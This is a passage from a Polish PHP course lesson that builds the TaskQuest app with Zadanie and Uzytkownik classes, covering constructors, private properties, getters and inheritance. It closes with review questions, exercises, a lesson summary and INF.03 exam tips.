<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.5</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> (17 plików, katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes</code>).</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<ul class="wp-block-list">
<li><strong>Tablica z kluczami <code class="prettyprint lang-sql" style="font-size: 0.85em;">'id'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'tytul'</code>, &#8230; jako zadanie</strong> — zastąpiona obiektem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>. Tablica pozwalała na literówki w kluczach, brak kluczy i dowolne zmiany wartości; obiekt ma zawsze komplet danych i pozwala tylko na <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code>.</li>



<li><strong>Zmienne <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></strong> oraz <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code></strong> — przeniesione do obiektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code> jako właściwości <strong>o tych samych nazwach</strong>. Zostawienie ich obok obiektu oznaczałoby dwie wersje tych samych danych (Eksperyment 6). W <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> zmienne <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code> zostają (dane z formularza przed zapisem do sesji).</li>



<li><strong>Linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak = aktualizujStreak(...)</code></strong> — zastąpiona przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane)</code>. Funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> zostaje i jest używana przez metodę.</li>
</ul>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 15 zadanie i użytkownik są w TaskQuest obiektami. Zadanie zawsze ma komplet danych (konstruktor), jego dane są ukryte (<code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>) i można je tylko odczytać albo oznaczyć zadanie jako wykonane; samo wie, czy jest po terminie — a strona główna wyróżnia takie zadania czerwoną ramką. Użytkownik sam zna swój poziom, tytuł, postęp i brakujące XP, aktualizuje swój streak i pozwala tylko dodawać XP (nigdy odejmować). Plik CSV, sesja, formularze i widoki listy działają tak jak po Lekcji 14 — zmieniła się budowa aplikacji, a nie jej zachowanie.</p>
</blockquote>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię wyjaśnić różnicę między klasą a obiektem na przykładzie Zadanie.
&#91; ] Wiem, co oznacza $this i dlaczego metoda pobierzXp() nie potrzebuje parametru.
&#91; ] Wiem, po co jest konstruktor i co się dzieje, gdy nie ustawi którejś właściwości.
&#91; ] Potrafię wyjaśnić, po co właściwości są private, a metody public.
&#91; ] Wiem, dlaczego Zadanie ma oznaczJakoWykonane(), a nie ma „ustaw XP”.
&#91; ] Potrafię utworzyć obiekt z argumentami nazwanymi i wiem, przed jaką pomyłką chronią.
&#91; ] Mam classes/Zadanie.php z czyPoTerminie(); Test 1 się zgadza.
&#91; ] Mam classes/Uzytkownik.php; Test 2 i Test 3 dają same OK / oczekiwane wartości.
&#91; ] W całym projekcie nie ma już odwołań $zadanie&#91;'...'].
&#91; ] Strona wygląda jak po Lekcji 14, zadania po terminie mają czerwoną ramkę (Testy 4–6).
&#91; ] diagnostyka.php pokazuje 17 razy &#91;OK].
&#91; ] Potrafię wyjaśnić, co pokazał Eksperyment 5 (obiekt to nie kopia) i Eksperyment 7 (typy a walidacja).
&#91; ] Usunęłam/usunąłem brudnopisy.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<ol class="wp-block-list">
<li><p>Czym różni się klasa od obiektu? Ile klas <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, a ile obiektów <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> istnieje w TaskQuest, gdy w pliku CSV jest 5 zadań?</p></li>



<li><p>W metodzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp(int $xp)</code> występują <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp</code>. Co oznacza każde z nich? Co by się stało, gdyby w metodzie napisać <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp += $xp;</code>?</p></li>



<li><p>Przewidź wynik:<code class="prettyprint lang-sql" style="font-size: 0.85em;">$a = new Zadanie(id: 1, tytul: 'A', opis: '', termin: '2026-10-01', wykonane: false, xp: 10);<br />$b = $a;<br />$b-&gt;oznaczJakoWykonane();<br />var_dump($a-&gt;czyWykonane());<br /></code>Czy wynik byłby taki sam, gdyby <code class="prettyprint lang-sql" style="font-size: 0.85em;">$a</code> była tablicą, a zamiast metody — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b['wykonane'] = true;</code>?</p></li>



<li><p>Kolega proponuje: „Zróbmy wszystkie właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>, będzie mniej pisania — nie trzeba getterów”. Podaj dwa konkretne problemy z sekcji 2, które wtedy wrócą.</p></li>



<li><p>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik::pobierzPoziom()</code> wywołuje funkcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom()</code>, zamiast mieć w sobie skopiowaną pętlę <code class="prettyprint lang-sql" style="font-size: 0.85em;">while</code>? Co by się stało, gdyby kiedyś zmieniła się stała <code class="prettyprint lang-sql" style="font-size: 0.85em;">XP_NA_POZIOM</code> albo sposób liczenia poziomu?</p></li>



<li><p>W kodzie jest błąd, przez który strona pokazuje zły streak. Znajdź go:<code class="prettyprint lang-sql" style="font-size: 0.85em;">public function aktualizujStreak(bool $zadanieWykonane): void<br />{<br />    aktualizujStreak($this-&gt;streak, $this-&gt;dataOstatniejAktywnosci, $zadanieWykonane);<br />}<br /></code></p></li>



<li><p>Zadanie ma termin na dzisiaj. Co zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code>? Jak zmieniłby się wynik, gdyby w metodzie było <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime()</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime('today')</code>? Kiedy (o której godzinie) byłoby to widać?</p></li>



<li><p>Po zmianie <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> (krok 2) strona pokazała <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type Zadanie as array in ...funkcje_zadan.php</code>. Dlaczego błąd pojawił się w <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_zadan.php</code>, a nie w <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code>, gdzie wprowadziliśmy zmianę?</p></li>



<li><p>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(id: '7', ..., wykonane: 'nie', ...)</code> nie zgłasza błędu i co z tego wynika dla walidacji danych z pliku i formularza (Eksperyment 7)?</p></li>



<li><p>Po co w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> zostały zmienne <code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code>, skoro można w prezentacji pisać <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;pobierzPoziom()</code>? A dlaczego usunęliśmy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>?</p></li>



<li><p>Dlaczego obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> budujemy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> przy każdym żądaniu, zamiast zapisać go w sesji?</p></li>
</ol>



<h1 class="wp-block-heading">Zadanie końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Wybierz <strong>jedno</strong> (albo więcej):</p>



<p class="wp-block-paragraph"><strong>A) „Zrobione!” — obiekty w akcji.</strong> Przy każdym <strong>niewykonanym</strong> zadaniu na liście dodaj mały formularz <code class="prettyprint lang-sql" style="font-size: 0.85em;">method="post" action="oznacz-wykonane.php"</code> z ukrytym polem <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> i przyciskiem „Zrobione!”. Nowy plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> (bez własnego HTML, jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>):</p>



<ul class="wp-block-list">
<li>tylko POST i tylko dla zalogowanych,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> z formularza sprawdź regexem <code class="prettyprint lang-sql" style="font-size: 0.85em;">/^\d+$/</code> przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code> (reguła z Lekcji 13),</li>



<li>wczytaj zadania, znajdź na liście <strong>obiekt</strong> o tym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzId()</code>), wywołaj na nim <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code> i zapisz <strong>całą</strong> listę (<code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>) — wszystko w jednym <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>,</li>



<li>ustaw komunikat jednorazowy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie wykonane! +N XP.</code>, gdzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">N</code> pochodzi z <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXp()</code> znalezionego zadania, i przekieruj na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>,</li>



<li>gdy zadania o takim <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nie ma — komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie znaleziono zadania.</code>.</li>
</ul>



<p class="wp-block-paragraph">Pytania do przemyślenia: dlaczego wystarczy zmienić obiekt znaleziony w pętli, żeby zmiana trafiła do zapisywanej tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> (Eksperyment 5)? Łączne XP użytkownika na stronie <strong>nie wzrośnie</strong> — dlaczego? Co musiałoby się stać, żeby <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;dodajXp()</code> miało trwały efekt? (Odpowiedź przyniesie baza danych.)</p>



<p class="wp-block-paragraph">Jeśli robiłaś/robiłeś zadanie końcowe A z Lekcji 13 lub C z Lekcji 14 — przerób istniejący <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> zamiast pisać od nowa.</p>



<p class="wp-block-paragraph"><strong>B) Własny wyjątek — dziedziczenie w pigułce.</strong> Klasa może <strong>dziedziczyć</strong> po innej klasie — przejąć wszystkie jej właściwości i metody i dodać coś od siebie. Zapisuje się to słowem <code class="prettyprint lang-sql" style="font-size: 0.85em;">extends</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class BladPlikuZadan extends Exception
{
}</code></pre>



<p class="wp-block-paragraph">Taka pusta klasa to pełnoprawny wyjątek: ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">getMessage()</code> i wszystko inne, co ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> — bo jest „rodzajem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>”. Zadanie:</p>



<ol class="wp-block-list">
<li>Utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/BladPlikuZadan.php</code> z powyższą klasą.</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> zamień <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception(...)</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new BladPlikuZadan(...)</code> (komunikaty bez zmian); dołącz nową klasę wszędzie, gdzie dołączasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code>.</li>



<li>Sprawdź test awarii z Lekcji 12 (zmiana nazwy pliku) — czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek)</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> nadal łapie wyjątek? Wyjaśnij dlaczego.</li>



<li>W brudnopisie napisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> z dwoma blokami <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>: najpierw <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (BladPlikuZadan $wyjatek)</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek)</code>, i sprawdź, który zadziała dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new BladPlikuZadan('x')</code>, a który dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception('y')</code>. Do czego może się przydać rozróżnianie rodzajów awarii?</li>
</ol>



<p class="wp-block-paragraph">Nie zapomnij o <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> (18 plików).</p>



<p class="wp-block-paragraph"><strong>C) Zadanie wie, czego dotyczy.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> jest warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">stripos($tytulCzysty, 'PHP') !== false</code>. Przenieś tę wiedzę do klasy: metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie::czyDotyczy(string $temat): bool</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, gdy <strong>oczyszczony</strong> tytuł zawiera podany tekst bez względu na wielkość liter (użyj istniejącej <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code>). W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> zamień warunek na <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;czyDotyczy('PHP')</code>. Testy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'PHP'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'php'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'  Nauczyć   się   PHP '</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'Python'</code>, pusty tytuł. Pytanie: skoro metoda korzysta z funkcji z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_tekstowe.php</code>, co musi zrobić każda strona, która wywoła <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyDotyczy()</code>?</p>



<p class="wp-block-paragraph">Nie potrzebujesz niczego, czego nie poznałaś/poznałeś do tej pory (w B — <code class="prettyprint lang-sql" style="font-size: 0.85em;">extends</code> jest wyjaśnione w treści zadania).</p>



<h1 class="wp-block-heading">Most do Lekcji 17</h1>



<p class="wp-block-paragraph">(Lekcja 16 w naszym kursie jest pominięta — kolejnym etapem TaskQuest jest Lekcja 17.)</p>



<p class="wp-block-paragraph">Nasze obiekty są porządne, ale krótko żyją: powstają przy każdym żądaniu z pliku CSV i znikają po wysłaniu strony. Spójrz, co nadal jest „na niby”:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">new Uzytkownik(..., xp: 99, streak: 5, dataOstatniejAktywnosci: '2026-09-14')   ← wpisane w kod, takie samo dla każdego
data/zadania.csv                                                                 ← jedna lista dla wszystkich użytkowników
zapiszZadania()                                                                  ← nadpisuje cały plik przy każdej zmianie</code></pre>



<p class="wp-block-paragraph">Ola i Kama widzą te same zadania i ten sam poziom. <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code> działa — ale wynik przepada. W Lekcji 17 zaprojektujemy <strong>bazę danych</strong> TaskQuest: tabele dla użytkowników i zadań, w których każdy użytkownik ma swoje XP, swój streak i swoje zadania. A nasze klasy się przydadzą: gdy TaskQuest zacznie pobierać dane z bazy, wiersze z wynikiem zapytania zamienimy w obiekty <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> — dokładnie tak, jak dziś robimy to z wierszami pliku CSV.</p>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h1 class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<h1 id="dodatek" class="wp-block-heading">W skrócie</h1>



<p class="wp-block-paragraph"><strong>Klasa i obiekt</strong></p>



<ul class="wp-block-list">
<li>Klasa to <strong>plan</strong>, obiekt to <strong>egzemplarz</strong> zbudowany według planu. Z jednej klasy powstaje dowolnie wiele niezależnych obiektów.</li>



<li>Obiekt tworzy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new NazwaKlasy(...)</code>. Do właściwości i metod sięgamy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;</code> — <strong>bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$</code> po strzałce</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;tytul</code>, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;$tytul</code>).</li>



<li>Nazwa klasy wielką literą, jedna klasa = jeden plik o tej samej nazwie, plik trzeba dołączyć (<code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code>), zanim użyjemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>.</li>
</ul>



<p class="wp-block-paragraph"><strong>Właściwości, metody, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code></strong></p>



<ul class="wp-block-list">
<li>Właściwość to zmienna należąca do obiektu, metoda to funkcja zapisana w klasie i wywoływana <strong>na obiekcie</strong>.</li>



<li>Wewnątrz metody do własnych danych sięgamy <strong>tylko</strong> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;</code> — samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> to zwykła zmienna lokalna, której zwykle nie ma.</li>



<li>Metoda nie potrzebuje parametrów, żeby poznać dane swojego obiektu — dlatego <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;pobierzPoziom()</code> zastępuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom($xp)</code>.</li>



<li>Metoda, która ma zmienić stan obiektu, musi <strong>zapisać wynik</strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;...</code> — samo wywołanie funkcji w środku niczego nie zapamiętuje.</li>
</ul>



<p class="wp-block-paragraph"><strong>Konstruktor</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">__construct</code> — <strong>dwa</strong> podkreślniki. PHP wywołuje go automatycznie przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>, dzięki czemu obiekt jest kompletny od chwili powstania.</li>



<li>Brakujący argument to natychmiastowy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ArgumentCountError</code>. Konstruktor, który nie ustawi którejś właściwości (albo nazwany <code class="prettyprint lang-sql" style="font-size: 0.85em;">_construct</code>), daje błąd dopiero przy odczycie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">must not be accessed before initialization</code>.</li>
</ul>



<p class="wp-block-paragraph"><strong>Hermetyzacja</strong></p>



<ul class="wp-block-list">
<li>Reguła TaskQuest: <strong>właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>, metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code></strong>. Obiekt ukrywa dane i udostępnia tylko operacje, na które się zgadza.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code> — dostęp tylko z metod tej klasy; <code class="prettyprint lang-sql" style="font-size: 0.85em;">protected</code> — także z klas dziedziczących; <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code> — zewsząd.</li>



<li>Nie każda właściwość potrzebuje gettera, a tym bardziej metody zmieniającej. <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code>, bo tylko to wolno z nim zrobić — nie ma „ustaw XP” ani „odznacz”.</li>



<li>Nazewnictwo: <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierz...()</code> zwraca daną, <code class="prettyprint lang-sql" style="font-size: 0.85em;">czy...()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, czasownik (<code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code>) zmienia stan.</li>
</ul>



<p class="wp-block-paragraph"><strong>Rzeczy, które zaskakują</strong></p>



<ul class="wp-block-list">
<li><strong>Obiekt to nie kopia.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b = $a;</code> dla obiektów daje dostęp do <strong>tego samego</strong> obiektu — zmiana przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b</code> widoczna jest w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$a</code>. Dla tablic byłaby to kopia.</li>



<li><strong>Typy właściwości nie zastępują walidacji.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(id: '7', wykonane: 'nie', ...)</code> przejdzie (PHP przekonwertuje tekst na <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>), więc dane z pliku i formularza nadal trzeba sprawdzać.</li>



<li><strong>Tablica obiektów to nadal tablica.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">count()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">array_filter()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usort()</code> działają jak dotąd — zmienia się tylko odczyt elementu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$element['xp']</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">$element-&gt;pobierzXp()</code>.</li>



<li>Potraktowanie obiektu jak tablicy przerywa skrypt: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type ... as array</code>.</li>
</ul>



<p class="wp-block-paragraph"><strong>Poza TaskQuestem (teoria z lekcji)</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">extends</code> — dziedziczenie, <strong>tylko po jednej klasie</strong>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">final</code> blokuje nadpisanie metody (lub dziedziczenie klasy).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">const</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">static</code> należą do <strong>klasy</strong>, nie do obiektu: w środku <code class="prettyprint lang-sql" style="font-size: 0.85em;">self::</code>, na zewnątrz <code class="prettyprint lang-sql" style="font-size: 0.85em;">NazwaKlasy::</code> — bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>.</li>



<li>Klasa abstrakcyjna — nie da się z niej utworzyć obiektu, może mieć pola i gotowe metody, dziedziczy się ją raz. Interfejs — same deklaracje metod publicznych, ale klasa może implementować <strong>wiele</strong> interfejsów.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Co trzeba umieć na INF.03?</h2>



<ul class="wp-block-list">
<li><strong>czytać i pisać zapis <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Klasa(...)</code> oraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">$obiekt-&gt;metoda()</code></strong> — bez tego nie da się użyć <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code>, wyjątków ani obiektowego połączenia z bazą,</li>



<li><strong>rozpoznać w kodzie</strong>, czy dana rzecz jest funkcją (<code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcja($x)</code>), metodą obiektu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$obiekt-&gt;metoda()</code>), czy elementem klasy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Klasa::STALA</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Klasa::metoda()</code>),</li>



<li><strong>odczytać dane z obiektu zwróconego przez bibliotekę</strong> i wypisać je na stronie (to samo, co robimy z wierszami z bazy),</li>



<li><strong>poprawnie łączyć podejście proceduralne i obiektowe</strong> — na egzaminie wolno pisać skrypty proceduralnie, byle działały i miały znaczące nazwy zmiennych,</li>



<li><strong>rozpoznać typowe komunikaty błędów</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Class "..." not found</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot access private property</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type ... as array</code>) i wiedzieć, co je powoduje — to oszczędza czas przy debugowaniu na egzaminie praktycznym.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Minimum, które powinno wejść w pamięć</h2>



<p class="wp-block-paragraph">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>



<ol class="wp-block-list">
<li><strong>Klasa to plan, obiekt to egzemplarz.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code> tworzy obiekt, <code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;</code> sięga do jego właściwości i metod (po strzałce nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">$</code>).</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code> to „ten obiekt”.</strong> Wewnątrz metody zawsze <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;wlasciwosc</code>.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">__construct</code> (dwa podkreślniki)</strong> wykonuje się automatycznie przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code> i ma zrobić obiekt kompletnym.</li>



<li><strong>Właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>, metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>.</strong> Dane czytamy getterem, zmieniamy tylko metodą, która pilnuje reguł.</li>



<li><strong>Argumenty nazwane</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(id: 1, tytul: 'A', ...)</code>) przy wielu parametrach — kolejność przestaje mieć znaczenie.</li>



<li><strong>Obiekt przypisany do drugiej zmiennej to ten sam obiekt</strong>, nie kopia.</li>



<li><strong>Typ właściwości to nie walidacja</strong> — dane z pliku i formularza nadal sprawdzamy sami.</li>



<li><strong>Klasa musi być dołączona</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code>), inaczej <code class="prettyprint lang-sql" style="font-size: 0.85em;">Class "..." not found</code>.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">extends</code> — jedna klasa bazowa; <code class="prettyprint lang-sql" style="font-size: 0.85em;">implements</code> — wiele interfejsów.</strong></li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">const</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">static</code> wywołujemy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">self::</code> (w klasie) lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">NazwaKlasy::</code> (poza nią)</strong> — nie przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Ściągawka – najważniejsze polecenia i składnia</h2>



<p class="wp-block-paragraph"><strong>Klasa, obiekt, właściwości</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Odznaka
{
    private string $nazwa;     // właściwość z typem, tylko dla metod tej klasy
    private int $xp = 0;       // wartość domyślna

    public function __construct(string $nazwa, int $xp)
    {
        $this-&gt;nazwa = $nazwa; // $nazwa — parametr, $this-&gt;nazwa — właściwość obiektu
        $this-&gt;xp = $xp;
    }

    public function pobierzXp(): int          // getter
    {
        return $this-&gt;xp;
    }

